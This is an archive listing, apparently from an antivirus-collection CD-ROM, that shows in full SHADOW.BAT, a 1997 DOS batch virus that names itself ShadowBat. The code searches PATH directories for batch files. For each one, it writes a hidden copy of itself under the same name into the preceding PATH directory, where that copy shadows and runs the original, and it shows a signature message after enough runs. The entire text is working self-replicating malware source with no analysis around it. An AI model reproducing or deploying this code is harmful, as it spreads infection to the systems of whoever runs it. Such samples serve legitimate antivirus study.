home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / BVUPDAT2.ZIP / SHADOW.ZIP / SHADOW.BAT < prev   
DOS Batch File  |  1997-01-24  |  1KB  |  58 lines

  1. @echo off
  2. if %1#==## goto %2
  3. cd>c:\cdsave$
  4. echo.>>c:\cdsave$
  5. echo.>c:\return$.bat
  6. %comspec% /f/e:5000 /c%0 # S
  7. c:
  8. cd\
  9. echo %%4\>enter.bat
  10. echo cd %%4>>enter.bat
  11. type c:\cdsave$|date|find "Enter ">set$.bat 
  12. call set$.bat
  13. del c:\cdsave$
  14. del c:\enter.bat
  15. del c:\set$.bat
  16. del c:\return$.bat
  17. goto R
  18. :S
  19. set vself=%0
  20. %0 # A %path%
  21. :A
  22. shift
  23. if %2#==# exit
  24. if exist %2\%vself%.bat set vself=%2\%vself%.bat
  25. if exist %2%vself%.bat set vself=%2%vself%.bat
  26. if exist %2\%vself% set vself=%2\%vself%
  27. if exist %2%vself% set vself=%2%vself%
  28. if not exist %vself% goto A
  29. %vself% # B %path%
  30. :B
  31. shift
  32. if %3#==# exit
  33. if not exist %3\nul if not exist %3nul goto B
  34. if not exist %2\nul if not exist %2nul goto B
  35. %3\
  36. cd %3
  37. if exist *.bat %comspec% /f/e:5000 /c%vself% # E %2 %3
  38. goto B
  39. :E
  40. for %%i in (*.bat) do call %vself% # I %%i %3 %4
  41. exit
  42. :I
  43. set new=%4\%3
  44. if exist %4nul set new=%4%3
  45. if exist %new% goto J
  46. set host=%5\%3
  47. if exist %5%3 set host=%5%3
  48. type %vself%|find /v "DoNt% %CoPy">%new%
  49. echo>>%new% %host% %%1 %%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 %%DoNt% %CoPy%%
  50. attrib %new% +h
  51. exit
  52. :J
  53. set count$=%count$%*
  54. if not %count$%==*********************************** c:\return$
  55. echo ShadowBat 1997
  56. exit
  57. :R
  58.